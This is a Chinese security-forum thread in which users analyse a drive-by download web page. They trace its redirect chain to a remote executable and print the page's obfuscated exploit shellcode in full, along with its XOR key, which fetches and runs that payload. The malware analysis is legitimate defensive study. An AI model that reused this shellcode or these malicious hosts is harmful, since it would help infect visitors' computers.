大家帮忙把这个挂马网页解密下！貌似奇特！

king1636

1. http://www.ztian.com.cn/product1.asp?BigClassName=VI设计

复制代码

上面是挂马网页，进去后网盾无提示，关闭网盾后再进入网页结果电脑中毒。

无语啊，难道挂马网页还可以识别电脑是否安装杀毒软件？

shadowmin

http://d.conna.dtdns.net/asd.js?s=201&col=ffdd00
-->http://tm15.tvb.vu.cx:300/13index.htm
--->http://xiao0.ui18.xicp.cn:300/a13.exe

always

关于:hxxp://www.ztian.com.cn/product1.asp?BigClassName=VI设计解密的日志(全体输出 - 4):

Level 0>http://www.ztian.com.cn/product1.asp?BigClassName=VI设计
Level 1>http://d.conna.dtdns.net/asd.js?s=201&col=ffdd00
Level 2>http://tm15.tvb.vu.cx:300/13index.htm
Level 3>http://xiao0.ui18.xicp.cn:300/a13.exe

日志由 Redoce2.0第93次修正版于 2010-5-14 18:04:55 生成。

king1636

谢谢大家啊！


大家知道这是为什么？

辛达

怎么说呢？？密钥是BD。。


看一下解密的截图。。

辛达

回复 4# king1636

1. %u5858%u5858%u10EB%u4B5B%uC'+'933%uB96'+'6%u03B8%u34'+'80%uBD0B%uFA'+'E2%u05E'+'B%uEBE8%uFFFF%u54FF%uBEA3%uBDBD%uD9E2%u8D1C%uBDBD%u36BD%uB1FD%uCD36%u10A1%uD536%u36B5%uD74A%uE4AC%u0355%uBDBF%u2DBD%u455F%u8ED5%uBD8F%uD5BD%uCEE8%uCFD8%u36E9%uB1FB%u0355%uBDBC%u36BD%uD755%uE4B8%u2355%uBDBF%u5FBD%uD544%uD3D'+'2%uBDBD%uC8D5%uD1CF%uE9D0%uAB42%u7D38%uAEC8%uD2D5%uBDD3%uD5BD%uCFC8%uD0D1%u36E9%uB1FB%u3355%uBDBC%u36BD%uD755%uE4BC%uD355%uBDBF%u5FBD%uD544%u8ED1%uBD8F%uCE'+'D5%uD8D5%uE9D1%uFB36%u55B1%uBCD2%uBDBD%u5536%uBCD7%u55E4%uBFF2%uBDBD%u445F%u513C%uBCBD%uBDBD%u6136%u7E3C%uBD3D%uBDBD%uBDD7%uA7D7%uD7EE%u42BD%uE1EB%u7D8E%u3DFD%uBE81%uC8BD%u7A44%uBEB9%uDBE1%uD893%uF97A%uB9BE%uD8C5%uBDBD%u748E%uECEC%uEAEE%u8EEC%u367D%uE5FB%u9F55%uBDBC%u3EBD%uBD45%u1E54%uBDBD%u2DBD%uBDD7%uBDD7%uBED7%uBDD7%uBFD7%uBDD5%uBDBD%uEE7D%uFB36%u5599%uBCBC%uBDBD%uFB34%uD7DD%uEDBD%uEB42%u3495%uD9FB%uFB36%uD7DD%uD7BD%uD7BD%uD7BD%uD7B9%uED'+'BD%uEB42%uD791%uD7BD%uD7BD%uD5BD%uBDA2%uBDB2%u42ED%u81EB%uFB34%u36C5%uD9F3%uC13D%u42B5%uC909%u3DB1%uB5C1%uBD42%uB8C9%uC93D%u42B5%u5F09%u3456%u3D3B%uBDBD%u7ABD%uCDFB%uBDBD%uBDBD%uFB7A%uBDC9%uBDBD%uD7BD%uD7BD%uD7BD%u36BD%uDDFB%u42ED%u85EB%u3B36%uBD3D%uBDBD%uBDD7%uF330%uECC9%uCB42%uEDCD%uCB42%u42DD%u8DEB%uCB42%u42DD%u89EB%uCB42%u42C5%uFDEB%u4636%u7D8E%u668E%u513C%uB'+'FBD%uBDBD%u7136%u453E%uC0E9%u34B5%uBCA1%u7D3E%u56B9%u364E%u3671%u3E64%uAD7E%u7D8E%uECED%uEDEE%uEDED%uEDED%uEAED%uEDED%uEB42%u36B5%uE9C3%uAD55%uBDBC%u55BD%uBDD8%uBDBD%uDED5%uCACB%uD5BD%uD5CE%uD2D9%u36E9%uB1FB%u9955%uBDBD%u34BD%u81FB%u1CD9%uBDB9%uBDBD%u1D30%u42DD%u4242%uD8D7%uCB42%u3681%uADFB%uB555%uBDBD%u8EBD%uEE66%uEEEE%u42EE%u3D6D%u5585%u853D%uC854%u3CAC%uB'+'8C5%u2D2D%u2D2D%uB5C9%u4236%u36E8%u3051%uB8FD%u5D42%u1B55%uBDBD%u7EBD%u1D55%uBDBD%u05BD%uBCAC%u3DB9%uB17F%u55BD%uBD2E%uBDBD%u513C%uBCBD%uBDBD%u4'+'136%u7A3E%u7AB9%u8FBA%u2CC9%u7AB1%uB9FA%u34DE%uF26C%uFA7A%u1DB5%u2A'+'D8%u7A76%uB1FA%uFDEC%uC207%uFA7A%u83AD%u0BA0%u7A84%uA9FA%uD405%uA66'+'9%uFA7A%u03A5%uDBC2%u7A1D%uA1FA%u1441%u108A%uFA7A%u259D%uADB7%uD945%u8D1C%uBDBD%u36BD%uB1FD%uCD36%u10A1%uD536%u36B5%uD74A%uE4B9%uE955%uBDBD%u2DBD%u455F%u8ED5%uBD8F%uD5BD%uCEE8%uCFD8%u36E9%u55BB%u42E8%u4242%u5536%uB8D'+'7%u55E4%uBD88%uBDBD%u445F%u428E%u42EA%uB9EB%uBF56%u7EE5%u4455%u4242%uE642%uBA7B%u3405%uBCE2%u7ADB%uB8FA%u5D42%uEE7E%u6136%uD7EE%uD5FD%uADBD%uBDBD%u36EA%u9DFB%uA555%u4242%uE542%uEC7E%u36EB%u81C8%uC936%uC593%u48BE%u36EB%u9DCB%u48BE%u748E%uFCF4%uBE10%u8E78%uB266%uAD03%u6B87%uB5C9%u767C%uBEBA%uFD67%u4C56%uA286%u5AC8%u36E3%u99E3%u60BE%u36DB%uF6B1%uE336%uBEA1%u3660%u36B9%u78BE%uE316%u7EE4%u6055%u4241%u0F42%u5F4F%u8449%uC05F%u673E%uC6F5%u8F80%u2CC9%u38B1%u1262%uDE06%u6C34%uECF2%u07FD%u1DC2%u2AD8%uA376%uD919%u2E52%u598F%u3329%uB7AE%u7F11%uF6A4%u79BC%uA230%uEAC9%uB0DB%uFE42%u1103%uC066%u184D%uEF27%u1A43%u8367%u0BA0%u0584%u69D4%u03A6%uDBC2%u411D%u8A14%u2510%uADB7%u3D45%u126B%u4627%uA8EE%ud5db%uc9c9%u87cd%u9292%ud4c5%ud2dc%u938d%ud4c8%u858c%uc593%uded4%u93cd%ud3de%u8e87%u8d8d%udc92%u8e8c%ud893%ud8c5%ubdbd%uEAEA%uEAEA%uEAEA%uEAEA

复制代码

整理后的代码，随后在ESC一次。

1. unescape('\x58\x58\x58\x58\xEB\x10\x5B\x4B\x+'\xC'933\x6'\xB9+'6\xB8\x03\x'+\x34'80\x0B\xBD\x'+\xFA'E2\xE'\x05+'B\xE8\xEB\xFF\xFF\xFF\x54\xA3\xBE\xBD\xBD\xE2\xD9\x1C\x8D\xBD\xBD\xBD\x36\xFD\xB1\x36\xCD\xA1\x10\x36\xD5\xB5\x36\x4A\xD7\xAC\xE4\x55\x03\xBF\xBD\xBD\x2D\x5F\x45\xD5\x8E\x8F\xBD\xBD\xD5\xE8\xCE\xD8\xCF\xE9\x36\xFB\xB1\x55\x03\xBC\xBD\xBD\x36\x55\xD7\xB8\xE4\x55\x23\xBF\xBD\xBD\x5F\x44\xD5\xD'\xD3+'2\xBD\xBD\xD5\xC8\xCF\xD1\xD0\xE9\x42\xAB\x38\x7D\xC8\xAE\xD5\xD2\xD3\xBD\xBD\xD5\xC8\xCF\xD1\xD0\xE9\x36\xFB\xB1\x55\x33\xBC\xBD\xBD\x36\x55\xD7\xBC\xE4\x55\xD3\xBF\xBD\xBD\x5F\x44\xD5\xD1\x8E\x8F\xBD\x'+\xCE'D5\xD5\xD8\xD1\xE9\x36\xFB\xB1\x55\xD2\xBC\xBD\xBD\x36\x55\xD7\xBC\xE4\x55\xF2\xBF\xBD\xBD\x5F\x44\x3C\x51\xBD\xBC\xBD\xBD\x36\x61\x3C\x7E\x3D\xBD\xBD\xBD\xD7\xBD\xD7\xA7\xEE\xD7\xBD\x42\xEB\xE1\x8E\x7D\xFD\x3D\x81\xBE\xBD\xC8\x44\x7A\xB9\xBE\xE1\xDB\x93\xD8\x7A\xF9\xBE\xB9\xC5\xD8\xBD\xBD\x8E\x74\xEC\xEC\xEE\xEA\xEC\x8E\x7D\x36\xFB\xE5\x55\x9F\xBC\xBD\xBD\x3E\x45\xBD\x54\x1E\xBD\xBD\xBD\x2D\xD7\xBD\xD7\xBD\xD7\xBE\xD7\xBD\xD7\xBF\xD5\xBD\xBD\xBD\x7D\xEE\x36\xFB\x99\x55\xBC\xBC\xBD\xBD\x34\xFB\xDD\xD7\xBD\xED\x42\xEB\x95\x34\xFB\xD9\x36\xFB\xDD\xD7\xBD\xD7\xBD\xD7\xBD\xD7\xB9\xD7\x'+\xED'BD\x42\xEB\x91\xD7\xBD\xD7\xBD\xD7\xBD\xD5\xA2\xBD\xB2\xBD\xED\x42\xEB\x81\x34\xFB\xC5\x36\xF3\xD9\x3D\xC1\xB5\x42\x09\xC9\xB1\x3D\xC1\xB5\x42\xBD\xC9\xB8\x3D\xC9\xB5\x42\x09\x5F\x56\x34\x3B\x3D\xBD\xBD\xBD\x7A\xFB\xCD\xBD\xBD\xBD\xBD\x7A\xFB\xC9\xBD\xBD\xBD\xBD\xD7\xBD\xD7\xBD\xD7\xBD\x36\xFB\xDD\xED\x42\xEB\x85\x36\x3B\x3D\xBD\xBD\xBD\xD7\xBD\x30\xF3\xC9\xEC\x42\xCB\xCD\xED\x42\xCB\xDD\x42\xEB\x8D\x42\xCB\xDD\x42\xEB\x89\x42\xCB\xC5\x42\xEB\xFD\x36\x46\x8E\x7D\x8E\x66\x3C\x51\x+'\xB'FBD\xBD\xBD\x36\x71\x3E\x45\xE9\xC0\xB5\x34\xA1\xBC\x3E\x7D\xB9\x56\x4E\x36\x71\x36\x64\x3E\x7E\xAD\x8E\x7D\xED\xEC\xEE\xED\xED\xED\xED\xED\xED\xEA\xED\xED\x42\xEB\xB5\x36\xC3\xE9\x55\xAD\xBC\xBD\xBD\x55\xD8\xBD\xBD\xBD\xD5\xDE\xCB\xCA\xBD\xD5\xCE\xD5\xD9\xD2\xE9\x36\xFB\xB1\x55\x99\xBD\xBD\xBD\x34\xFB\x81\xD9\x1C\xB9\xBD\xBD\xBD\x30\x1D\xDD\x42\x42\x42\xD7\xD8\x42\xCB\x81\x36\xFB\xAD\x55\xB5\xBD\xBD\xBD\x8E\x66\xEE\xEE\xEE\xEE\x42\x6D\x3D\x85\x55\x3D\x85\x54\xC8\xAC\x3C\x+'\xB'8C5\x2D\x2D\x2D\x2D\xC9\xB5\x36\x42\xE8\x36\x51\x30\xFD\xB8\x42\x5D\x55\x1B\xBD\xBD\xBD\x7E\x55\x1D\xBD\xBD\xBD\x05\xAC\xBC\xB9\x3D\x7F\xB1\xBD\x55\x2E\xBD\xBD\xBD\x3C\x51\xBD\xBC\xBD\xBD\x+'\x4'136\x3E\x7A\xB9\x7A\xBA\x8F\xC9\x2C\xB1\x7A\xFA\xB9\xDE\x34\x6C\xF2\x7A\xFA\xB5\x1D\x'+\x2A'D8\x76\x7A\xFA\xB1\xEC\xFD\x07\xC2\x7A\xFA\xAD\x83\xA0\x0B\x84\x7A\xFA\xA9\x05\xD4\x6'\xA6+'9\x7A\xFA\xA5\x03\xC2\xDB\x1D\x7A\xFA\xA1\x41\x14\x8A\x10\x7A\xFA\x9D\x25\xB7\xAD\x45\xD9\x1C\x8D\xBD\xBD\xBD\x36\xFD\xB1\x36\xCD\xA1\x10\x36\xD5\xB5\x36\x4A\xD7\xB9\xE4\x55\xE9\xBD\xBD\xBD\x2D\x5F\x45\xD5\x8E\x8F\xBD\xBD\xD5\xE8\xCE\xD8\xCF\xE9\x36\xBB\x55\xE8\x42\x42\x42\x36\x55\xD'\xB8+'7\xE4\x55\x88\xBD\xBD\xBD\x5F\x44\x8E\x42\xEA\x42\xEB\xB9\x56\xBF\xE5\x7E\x55\x44\x42\x42\x42\xE6\x7B\xBA\x05\x34\xE2\xBC\xDB\x7A\xFA\xB8\x42\x5D\x7E\xEE\x36\x61\xEE\xD7\xFD\xD5\xBD\xAD\xBD\xBD\xEA\x36\xFB\x9D\x55\xA5\x42\x42\x42\xE5\x7E\xEC\xEB\x36\xC8\x81\x36\xC9\x93\xC5\xBE\x48\xEB\x36\xCB\x9D\xBE\x48\x8E\x74\xF4\xFC\x10\xBE\x78\x8E\x66\xB2\x03\xAD\x87\x6B\xC9\xB5\x7C\x76\xBA\xBE\x67\xFD\x56\x4C\x86\xA2\xC8\x5A\xE3\x36\xE3\x99\xBE\x60\xDB\x36\xB1\xF6\x36\xE3\xA1\xBE\x60\x36\xB9\x36\xBE\x78\x16\xE3\xE4\x7E\x55\x60\x41\x42\x42\x0F\x4F\x5F\x49\x84\x5F\xC0\x3E\x67\xF5\xC6\x80\x8F\xC9\x2C\xB1\x38\x62\x12\x06\xDE\x34\x6C\xF2\xEC\xFD\x07\xC2\x1D\xD8\x2A\x76\xA3\x19\xD9\x52\x2E\x8F\x59\x29\x33\xAE\xB7\x11\x7F\xA4\xF6\xBC\x79\x30\xA2\xC9\xEA\xDB\xB0\x42\xFE\x03\x11\x66\xC0\x4D\x18\x27\xEF\x43\x1A\x67\x83\xA0\x0B\x84\x05\xD4\x69\xA6\x03\xC2\xDB\x1D\x41\x14\x8A\x10\x25\xB7\xAD\x45\x3D\x6B\x12\x27\x46\xEE\xA8\xdb\xd5\xc9\xc9\xcd\x87\x92\x92\xc5\xd4\xdc\xd2\x8d\x93\xc8\xd4\x8c\x85\x93\xc5\xd4\xde\xcd\x93\xde\xd3\x87\x8e\x8d\x8d\x92\xdc\x8c\x8e\x93\xd8\xc5\xd8\xbd\xbd\xEA\xEA\xEA\xEA\xEA\xEA\xEA\xEA');

复制代码

再一次ESC，密钥BD。

asinasina

取出代码，如图

kaba2

没有啊，我的一进去就报了，可能是楼主第一次进去时挂马地址正好失效了…

chenhanmuyu

囧  360网盾居然报了  难道360也支持SOGOU2.0 了？

18qaz

Checking: http://d.conna.dtdns.net/asd.js?s=201&col=ffdd00
File size: 1395 bytes
File MD5: 29026b976d319692787ebbfb4229316a

http://d.conna.dtdns.net/asd.js?s=201&col=ffdd00 - OkChecking: http://www.ztian.com.cn/product1.asp?BigClassName=VI%C9%E8%BC%C6
Engine version: 5.0.2.3300
Total virus-finding records: 1326016
File size: 18.87 KB
File MD5: 61c362128d58046c026e638353ad8fc9

http://www.ztian.com.cn/product1.asp?BigClassName=VI%C9%E8%BC%C6 - archive HTML
>http://www.ztian.com.cn/product1 ... %BC%C6/javascript.0 - Ok
http://www.ztian.com.cn/product1.asp?BigClassName=VI%C9%E8%BC%C6 - Ok